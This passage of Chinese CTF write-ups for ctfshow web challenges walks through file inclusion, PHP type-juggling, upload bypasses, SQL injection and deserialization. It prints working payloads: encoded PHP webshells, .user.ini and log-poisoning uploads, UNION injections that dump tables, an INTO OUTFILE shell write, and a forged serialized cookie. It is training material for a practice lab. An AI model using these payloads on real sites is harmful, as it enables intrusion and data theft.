?file=php://filter/write=string.ror13/resource=1.php
这里因为file_put_contents(urldecode)所以我们需要对以上代码进行urlencode全字符编码两次
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
然后post方式输出content=<?php system('tac f*.php');?>
<?php system('tac f*.php');?>需要进行rot13编码
payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
post:content=<?cuc flfgrz('gnp s*.cuc');?>
ctfshow{3d4bd38d-7bbc-43df-a5ab-6833c91e9edf}
# web88
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-17 02:27:25 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['file'])){ | |
$file = $_GET['file']; | |
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ | |
die("error"); | |
} | |
include($file); | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了很多,但是没过滤:所以还是能用php伪协议,这里我们用data://,base64时记得删掉后面的=
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs
ctfshow{30bb2962-3cc0-427e-906e-8d32462fe7c4}
# web116
剪辑视频
抓包
file=flag.php
即可返回 flag
# php 特性
# web89
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 15:38:51 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if(preg_match("/[0-9]/", $num)){ | |
die("no no no!"); | |
} | |
if(intval($num)){ | |
echo $flag; | |
} | |
} |
过滤了数字,我们可以利用数组绕过
payload:
?num[]=1
# web90
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 16:06:11 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==="4476"){ | |
die("no no no!"); | |
} | |
if(intval($num,0)===4476){ | |
echo $flag; | |
}else{ | |
echo intval($num,0); | |
} | |
} |
4476转换十六进制0x117c
payload:
?num=0x117c //十六进制
?num=010574 //八进制
?num=4476a //===强比较
# web91
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Firebasky | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 16:16:09 | |
# @link: https://ctfer.com | |
*/ | |
show_source(__FILE__); | |
include('flag.php'); | |
$a=$_GET['cmd']; | |
if(preg_match('/^php$/im', $a)){ | |
if(preg_match('/^php$/i', $a)){ | |
echo 'hacker'; | |
} | |
else{ | |
echo $flag; | |
} | |
} | |
else{ | |
echo 'nonononono'; | |
} | |
Notice: Undefined index: cmd in /var/www/html/index.php on line 15 | |
nonononono |
这里主要的突破点就是/m,我们可以看到第一个preg_match()函数,有个/m,而第二个正则则没有,我们可以利用换行进行绕过%0a
payload:
?cmd=%0aphp
# web92
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Firebasky | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 16:29:30 | |
# @link: https://ctfer.com | |
*/ | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==4476){ | |
die("no no no!"); | |
} | |
if(intval($num,0)==4476){ | |
echo $flag; | |
}else{ | |
echo intval($num,0); | |
} | |
} |
==弱比较,所以4476a和4476相等
这时只能通过十六进制绕过
payload:
?num=0x117c //十六进制
?num=4476e123
# web93
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Firebasky | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 16:32:58 | |
# @link: https://ctfer.com | |
*/ | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==4476){ | |
die("no no no!"); | |
} | |
if(preg_match("/[a-z]/i", $num)){ | |
die("no no no!"); | |
} | |
if(intval($num,0)==4476){ | |
echo $flag; | |
}else{ | |
echo intval($num,0); | |
} | |
} |
过滤了字母,那就用八进制
payload:
?num=010574
# web94
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 16:46:19 | |
# @link: https://ctfer.com | |
*/ | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==="4476"){ | |
die("no no no!"); | |
} | |
if(preg_match("/[a-z]/i", $num)){ | |
die("no no no!"); | |
} | |
if(!strpos($num, "0")){ | |
die("no no no!"); | |
} | |
if(intval($num,0)===4476){ | |
echo $flag; | |
} | |
} |
基于web93对开头进行了0的过滤
对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574
也可以小数点绕过
payload:?num=4476.0
因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010574
?num= 010574 // 前面加个空格
?num=+010574
?num=+4476.0
# web95
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 16:53:59 | |
# @link: https://ctfer.com | |
*/ | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==4476){ | |
die("no no no!"); | |
} | |
if(preg_match("/[a-z]|\./i", $num)){ | |
die("no no no!!"); | |
} | |
if(!strpos($num, "0")){ | |
die("no no no!!!"); | |
} | |
if(intval($num,0)===4476){ | |
echo $flag; | |
} | |
} |
对.进行了过滤
payload:
?num=%0a010574
?num=%20010574
?num= 010574 // 前面加个空格
?num=+010574
# web96
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 19:21:24 | |
# @link: https://ctfer.com | |
*/ | |
highlight_file(__FILE__); | |
if(isset($_GET['u'])){ | |
if($_GET['u']=='flag.php'){ | |
die("no no no"); | |
}else{ | |
highlight_file($_GET['u']); | |
} | |
} |
?u=/var/www/html/flag.php 绝对路径
?u=./flag.php 相对路径
?u=php://filter/resource=flag.php php伪协议
# web97
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 19:36:32 | |
# @link: https://ctfer.com | |
*/ | |
include("flag.php"); | |
highlight_file(__FILE__); | |
if (isset($_POST['a']) and isset($_POST['b'])) { | |
if ($_POST['a'] != $_POST['b']) | |
if (md5($_POST['a']) === md5($_POST['b'])) | |
echo $flag; | |
else | |
print 'Wrong.'; | |
} | |
?> |
数组绕过即可
payload:
a[]=1&b[]=2
# web98
Notice: Undefined index: flag in /var/www/html/index.php on line 15 | |
Notice: Undefined index: flag in /var/www/html/index.php on line 16 | |
Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17 | |
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-18 21:39:27 | |
# @link: https://ctfer.com | |
*/ | |
include("flag.php"); | |
$_GET?$_GET=&$_POST:'flag'; | |
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; | |
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; | |
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); | |
?> |
$_GET?$_GET=&$_POST:'flag'; | |
# 如果有 GET 传参,就变成 POST 传参 | |
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); | |
# 如果 GET 传参 HTTP_FLAG=flag, 就执行 highlight_file (flag), 否则执行 highlight_file (__FILE__) |
// GET 传参 | |
?a=1 | |
// POST 传参 | |
HTTP_FLAG=flag |
# web99
<?php | |
highlight_file(__FILE__); | |
$allow = array(); | |
for ($i=36; $i < 0x36d; $i++) { | |
array_push($allow, rand(1,$i)); | |
} | |
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ | |
file_put_contents($_GET['n'], $_POST['content']); | |
} | |
?> |
$allow是个数组,通过array_push将随机数添加到$allow中。
$allow中必定存在一个数字0。
然后这里利用in_array()的特性,弱比较特性,'0.php'==0。
in_array延用了php中的==
?n=1.php | |
post传参 | |
content=<?php eval($_POST['a']);?> | |
访问1.php | |
a=system('tac flag36d.php'); |
# web100
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-16 11:25:09 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-21 22:10:28 | |
# @link: https://ctfer.com | |
*/ | |
highlight_file(__FILE__); | |
include("ctfshow.php"); | |
//flag in class ctfshow; | |
$ctfshow = new ctfshow(); | |
$v1=$_GET['v1']; | |
$v2=$_GET['v2']; | |
$v3=$_GET['v3']; | |
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); | |
if($v0){ | |
if(!preg_match("/\;/", $v2)){ | |
if(preg_match("/\;/", $v3)){ | |
eval("$v2('ctfshow')$v3"); | |
} | |
} | |
} | |
?> |
v1要为数字,v2是指令,v3必须含;
payload:
?v1=1&v2=system('cat ctfshow.php')/*&v3=*/;
# 文件上传
# web151
后端无验证
方法一:burpsuite 抓包改数据
方法二:F12 直接改源码,因为校验格式写在 html 里
payload:
访问url/upload/马
a=system('tac ../flag.php');
ctfshow{99531efd-02ea-410f-92a0-7d4e6a037b4a}
# web152
后端文件类型验证
后端不能单一校验
后端校验要严密
这一次不能直接在前端改代码
<文件上传失败,失败原因:文件类型不合规>
我们上传 png 马然后抓包再 burpsuite 里面改 php 即可绕过
payload:
访问url/upload/马
a=system('tac ../flag.php');
ctfshow{0b8b4699-360f-4d06-976c-b26d21986107}
# web153
配置文件可控
后端校验要严密
新知识 user.ini
先将前端内容格式进行修改
然后上传 user.ini 文件
auto_append_file=1.txt
在 user.ini 前面加一个.
再修改文件类型为 image/png 即可绕过上传成功
再编辑上传一个 1.txt 一句话木马,即可实现命令执行
payload:
访问url/upload/马
a=system('tac ../flag.php');
ctfshow{f3e53e55-a523-417f-973c-0cb03629f560}
# web154
文件魔术字节欺骗
后端不能单二校验
对 php 进行了过滤,新知识 php 短标签
同样上传 user.ini
payload:
访问url/upload/马
a=system('tac ../flag.php');
ctfshow{4cfa78ac-da71-4507-adb5-e0760adced07}
# web155
配置文件可控
后端不能单三校验
同样对 php 进行过滤,也对文件类型进行判断,继续用短标签绕过即可
payload:
a=system('tac ../flag.php');
ctfshow{c161ced9-ccda-483f-8c8e-2795f038f0b3}
# web156
后端不能单四校验
文件内容检测 [] 过滤,{} 绕过即可
payload:
a=system('tac ../flag.php');
ctfshow{b74d2930-b4f8-4e42-9753-1a62cfa4a5f6}
# web157
后端不能单五校验
新知识,[] 和 {} 和;都被过滤了,这时用到 array_pop () 函数,分号可以省略
payload:
a=system('tac ../flag.php');
ctfshow{d474a4cf-72c0-4ba4-b675-6a39e9996ab5}
# web158
后端不能单六校验
过滤了日志包含
同样能用上题方式解
payload:
a=system('tac ../flag.php');
ctfshow{f5e1cc4e-c6f8-4041-9978-b9f3d516e5cc}
# web159
方法一:
上传 user.ini
用反引号绕过
直接访问 upload 即可得到 flag
方法二:
日志包含漏洞绕过
访问 upload 一次发现包含成功,然后 hackbar 日志文件包含漏洞,在 User Agent 输入一句话木马
直接得出 flag(我这里没试出 flag,不知道是不是哪不对,但方法是没错的)
#补充:之后搞明白了哪里不对,因为 upload 后面忘记加个斜线,导致网页在 upload 寻找一句话木马没找到所以报 301,加个斜线表示在下一个目录里,这样就对了
ctfshow{b11deff1-c608-42de-ad9c-cfbc73b451c5}
# web160
过滤了 php,执行函数,反引号,空格等
同样日志包含漏洞即可
ctfshow{a2c7d477-51f5-401e-b249-3c863ba0ce91}
# web161
同样的知识,这一次加了 GIF89a 文件头的判断
用上一题的思路即可,这里我用蚁剑连接得到了 flag
ctfshow{9a01b080-c26d-43c3-a15a-0e4070b40869}
# web166
只允许 zip 上传
注意:有时候会出错,是因为
要改一下MIME类型:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed
# web168
基础免杀
上传一个普通图片,发现他保存在本地目录了
抓包
ctfshow{78a76ccd-0c66-43f4-8498-ae629e44df88}
# web169
高级免杀
有点小坑,前端做了校验只能传 zip 文件,后端又做了图片文件检查.
过滤了 <>
和 php
, 可以上传配置文件绕过
在文件头写个一句话木马
然后蚁剑连或直接 rce (命令执行) 即可
ctfshow{a2456e0d-217a-4514-8e13-d1a065544b01}
# web170
终极免杀
过滤了这么多,但是用上一题的方法同解
ctfshow{28168a35-e410-412b-b906-1e49290460a5}
# SQL 注入
# web171
这里会把输入的 id 以 get 的形式直接递交到后台和查询语句进行简单的字符串拼接的过程,同时根据这个题目的查询条件,可以猜测 username 为为 flag 的用户他的信息就是我们所需要的,但是网页中 24 个用户并没有我们所需要的 flag,首先我们给前面一个查询语句一个不可能达成的条件去截断它,即 - 1',然后用 or 加上我们所要查询的 or username = 'flag'. 我们语句外面还有一个引号。所以我们不要最后一个引号
payload:
-1' or username = 'flag
payload2:
id=1'or'1'='1
ctfshow{5680eb72-ef35-46b9-8c45-c504e6eb5e86}
# web172
首先看到这个界面,老规矩,检查源代码,在底部发现 select.js
layui.use('table', function(){ | |
var table = layui.table; | |
table.render({ | |
elem: '#user' | |
,id:'user_table' | |
,title: '用户列表' | |
,height: 500 | |
,page:true | |
,url:"api/" | |
,cols: [[ | |
{field: 'id', title: 'ID', sort: true, fixed: 'left'} | |
,{field: 'username', title: '用户å'} | |
,{field: 'password', title: '密ç ',edit:'text'} | |
]] | |
}); | |
table.on('toolbar(user-filter)', function(obj){ | |
var checkStatus = table.checkStatus(obj.config.id); | |
switch(obj.event){ | |
case 'add': | |
layer.msg('æ·»åŠ '); | |
break; | |
case 'delete': | |
layer.msg('åˆ é™¤'); | |
break; | |
case 'update': | |
layer.msg('æ›´æ–°'); | |
break; | |
}; | |
}); | |
}); | |
layui.use('element', function(){ | |
var element = layui.element; | |
element.on('tab(nav)', function(data){ | |
console.log(data); | |
}); | |
}); | |
layui.use('form', function(){ | |
var form = layui.form; | |
form.on('submit(*)', function(data){ | |
var id = data.field['id']; | |
var table = layui.table; | |
table.reload('user_table', { | |
url:'api/?id='+id | |
}) | |
return false; //阻æ¢è¡¨å•è·³è½¬ã€‚如果需è¦è¡¨å•è·³è½¬ï¼ŒåŽ»æŽ‰è¿™æ®µå³å¯ã€‚ | |
}); | |
}); |
检查了一下发现 url 需要在 /api 下查询
id=1'order by 1%23
发现他有反应,到第四列就没了,说明只有三列
id=1'order by 3%23
{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"admin","password":"admin"}]} |
接下来就是联合查询数据库
id=1'union select 1,2,3%23
{"id":"1","username":"2","password":"3"}]}
id=1'union select 1,2,database()%23
现在知道了数据库名
{"id":"1","username":"2","password":"ctfshow_web"}]}
接下来
id=1'union select 1,(select group_concat(schema_name) from information_schema.schemata),database()%23
{"id":"1","username":"information_schema,test,mysql,performance_schema,ctfshow_web","password":"ctfshow_web"}]}
接下来查询表
1'union select 1,(select group_concat(table_name) from information_schema.columns where table_schema='ctfshow_web'),database()%23
{"id":"1","username":"ctfshow_user,ctfshow_user,ctfshow_user,ctfshow_user2,ctfshow_user2,ctfshow_user2","password":"ctfshow_web"}]}
发现有个 ctfshow_user、ctfshow_user2 表
接下来就是爆出字段
id=1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),database()%23
{"id":"1","username":"id,username,password","password":"ctfshow_web"}]}
发现有 id、username、password 三列
然后就是查看字段内容
1'union select 1,(select group_concat(password) from ctfshow_user),database()%23
{"id":"1","username":"admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,flag_not_here","password":"ctfshow_web"}]}
发现 ctfshow_user 没有 flag,查看 ctfshow_user2
1'union select 1,(select group_concat(password) from ctfshow_user2),database()%23
{"id":"1","username":"admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{707d21f4-6c7d-409d-9c94-ba6997c6f764}","password":"ctfshow_web"}]}
发现 flag
ctfshow{707d21f4-6c7d-409d-9c94-ba6997c6f764}
# web173
考察 sql 基础
还是熟悉的界面,老规矩还是检查源代码,底部发现 select.js 还是通过 /api/ 查询
layui.use('table', function(){ | |
var table = layui.table; | |
table.render({ | |
elem: '#user' | |
,id:'user_table' | |
,title: '用户列表' | |
,height: 500 | |
,page:true | |
,url:"api/" | |
,cols: [[ | |
{field: 'id', title: 'ID', sort: true, fixed: 'left'} | |
,{field: 'username', title: '用户å'} | |
,{field: 'password', title: '密ç ',edit:'text'} | |
]] | |
}); | |
table.on('toolbar(user-filter)', function(obj){ | |
var checkStatus = table.checkStatus(obj.config.id); | |
switch(obj.event){ | |
case 'add': | |
layer.msg('æ·»åŠ '); | |
break; | |
case 'delete': | |
layer.msg('åˆ é™¤'); | |
break; | |
case 'update': | |
layer.msg('æ›´æ–°'); | |
break; | |
}; | |
}); | |
}); | |
layui.use('element', function(){ | |
var element = layui.element; | |
element.on('tab(nav)', function(data){ | |
console.log(data); | |
}); | |
}); | |
layui.use('form', function(){ | |
var form = layui.form; | |
form.on('submit(*)', function(data){ | |
var id = data.field['id']; | |
var table = layui.table; | |
table.reload('user_table', { | |
url:'api/?id='+id | |
}) | |
return false; //阻æ¢è¡¨å•è·³è½¬ã€‚如果需è¦è¡¨å•è·³è½¬ï¼ŒåŽ»æŽ‰è¿™æ®µå³å¯ã€‚ | |
}); | |
}); |
最多三列
id=1'order by 3%23
id=1'union select 1,2,database()%23
{"id":"1","username":"2","password":"ctfshow_web"}]}
接着联合查询
1'union select 1,(select group_concat(schema_name) from information_schema.schemata),database()%23
{"id":"1","username":"information_schema,test,mysql,performance_schema,ctfshow_web","password":"ctfshow_web"}]}
接着查询表
1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),database()%23
{"id":"1","username":"ctfshow_user,ctfshow_user2,ctfshow_user3","password":"ctfshow_web"}]}
发现三个表,接着爆字段
1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),database()%23
{"id":"1","username":"id,username,password","password":"ctfshow_web"}]}
有 id、username、password 三个字段
接着爆字段内容
id=1'union select 1,(select group_concat(password) from ctfshow_user),database()%23
没找到 flag,下一个表
id=1'union select 1,(select group_concat(password) from ctfshow_user3),database()%23
{"id":"1","username":"admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{e164dc8d-e504-437a-8d4f-167a217b0dbc}","password":"ctfshow_web"}]}
发现 flag
ctfshow{e164dc8d-e504-437a-8d4f-167a217b0dbc}
# web174
老规矩查看源代码找到注入点,底部找到 v4.js,注入点在 api/v4.php
layui.use('table', function(){ | |
var table = layui.table; | |
table.render({ | |
elem: '#user' | |
,id:'user_table' | |
,title: '用户列表' | |
,height: 500 | |
,page:true | |
,url:"api/v4.php" | |
,cols: [[ | |
{field: 'id', title: 'ID', sort: true, fixed: 'left'} | |
,{field: 'username', title: '用户å'} | |
,{field: 'password', title: '密ç ',edit:'text'} | |
]] | |
}); | |
table.on('toolbar(user-filter)', function(obj){ | |
var checkStatus = table.checkStatus(obj.config.id); | |
switch(obj.event){ | |
case 'add': | |
layer.msg('æ·»åŠ '); | |
break; | |
case 'delete': | |
layer.msg('åˆ é™¤'); | |
break; | |
case 'update': | |
layer.msg('æ›´æ–°'); | |
break; | |
}; | |
}); | |
}); | |
layui.use('element', function(){ | |
var element = layui.element; | |
element.on('tab(nav)', function(data){ | |
console.log(data); | |
}); | |
}); | |
layui.use('form', function(){ | |
var form = layui.form; | |
form.on('submit(*)', function(data){ | |
var id = data.field['id']; | |
var table = layui.table; | |
table.reload('user_table', { | |
url:'api/v4.php?id='+id | |
}) | |
return false; | |
}); | |
}); |
过滤了数字,可以用 replace 函数进行数字替换
payload:
99' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","!"),"2","@"),"3","#"),"4","$"),"5","%"),"6","^"),"7","&"),"8","*"),"9","("),"0",")") from ctfshow_user4 where username='flag
ctfshow{3892228b-3a70-4a05-bf92-9b515fa4c2b9}
# web175
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
利用base64写一句话木马连接
首先把一句话木马加密成base64在加密成url编码,在执行到web地址里
/api/config.php里面有数据库账号密码
payload:
99' union select 1,from_base64('%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4a%32%45%6e%58%53%6b%37%50%7a%34%3d') into outfile '/var/www/html/1.php
ctfshow{937177d2-74e9-4c06-b41c-73335765d568}
# web176
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
过滤了一些内容,但我们无法查看 | |
试过之后发现是过滤了关键字,大小写绕过即可 | |
payload1(万能密码): | |
1’ or 1=1--+ | |
payload2: | |
1' union select 1,2,3--+ //发现没回显,可能是过滤掉了 | |
1' UniOn SelEct 1,2,database()--+ //大小写绕过有回显得到数据库名 | |
//爆表 | |
1' UniOn SelEct 1,(SelEct group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),database()--+ | |
//爆字段 | |
1' UniOn SelEct 1,(SelEct group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),database()--+ | |
//爆字段内容 | |
1' UniOn SelEct 1,(SelEct group_concat(password) from ctfshow_user),database()--+ | |
得到flag |
ctfshow{9cf120a8-bb3a-4861-b234-f258cc19354f}
# web177
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
过滤了空格
payload:1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23
ctfshow{0cfae509-b430-4d65-a829-5df539518b92}
# web178
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
过滤了空格、*等,用%09绕过
payload1:
1'%09union%09select%091,2,password%09from%09ctfshow_user%09where%09username%09='flag'%23
payload2:
1'%0bunion%0bselect%0b1,2,password%0bfrom%0bctfshow_user%0bwhere%0busername%0b='flag'%23
payload3:
1'or'1'='1'%23
ctfshow{bada9a8a-ef29-4f86-9d33-7e4f35d708c7}
# web179
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}
新过滤了%09
payload:
99'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername%0c='flag'%23
ctfshow{f7254fe5-7159-42ab-b5f3-cdbb5c7de8c3}
# 反序列化
# web254
开始反序列化
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-12-02 17:44:47 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-12-02 19:29:02 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include('flag.php'); | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=false; | |
public function checkVip(){ | |
return $this->isVip; | |
} | |
public function login($u,$p){ | |
if($this->username===$u&&$this->password===$p){ | |
$this->isVip=true; | |
} | |
return $this->isVip; | |
} | |
public function vipOneKeyGetFlag(){ | |
if($this->isVip){ | |
global $flag; | |
echo "your flag is ".$flag; | |
}else{ | |
echo "no vip, no flag"; | |
} | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
$user = new ctfShowUser(); | |
if($user->login($username,$password)){ | |
if($user->checkVip()){ | |
$user->vipOneKeyGetFlag(); | |
} | |
}else{ | |
echo "no vip,no flag"; | |
} | |
} |
payload: | |
?username=xxxxxx&password=xxxxxx |
ctfshow{c7ae2016-c828-4005-b0c7-de10418de1eb}
# web255
开始反序列化
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-12-02 17:44:47 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-12-02 19:29:02 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include('flag.php'); | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=false; | |
public function checkVip(){ | |
return $this->isVip; | |
} | |
public function login($u,$p){ | |
return $this->username===$u&&$this->password===$p; | |
} | |
public function vipOneKeyGetFlag(){ | |
if($this->isVip){ | |
global $flag; | |
echo "your flag is ".$flag; | |
}else{ | |
echo "no vip, no flag"; | |
} | |
} | |
} | |
$username=$_GET['username']; | |
$password=$_GET['password']; | |
if(isset($username) && isset($password)){ | |
$user = unserialize($_COOKIE['user']); | |
if($user->login($username,$password)){ | |
if($user->checkVip()){ | |
$user->vipOneKeyGetFlag(); | |
} | |
}else{ | |
echo "no vip,no flag"; | |
} | |
} |
审计代码 | |
$user = unserialize($_COOKIE['user']); | |
将反序列化的结果赋值给user并传入cookie | |
//在本地输出序列化结果,将vip改为true | |
<?php | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=true; | |
} | |
$a = new ctfShowUser(); | |
$str = urlencode(serialize($a)); | |
echo $str; | |
?> | |
payload: | |
GET输出?username=xxxxxx&password=xxxxxx | |
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D |
ctfshow{41cb227c-9295-4cb1-ba53-a9c5a838820e}
# web256
开始反序列化
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-12-02 17:44:47 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-12-02 19:29:02 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
highlight_file(__FILE__); | |
include('flag.php'); | |
class ctfShowUser{ | |
public $username='xxxxxx'; | |
public $password='xxxxxx'; | |
public $isVip=false; | |
public function checkVip(){ | |
return $this->isVip; | |
} | |
public function login($u,$p){ | |
return $this->username===$u&&$this->password===$p; | |
} | |
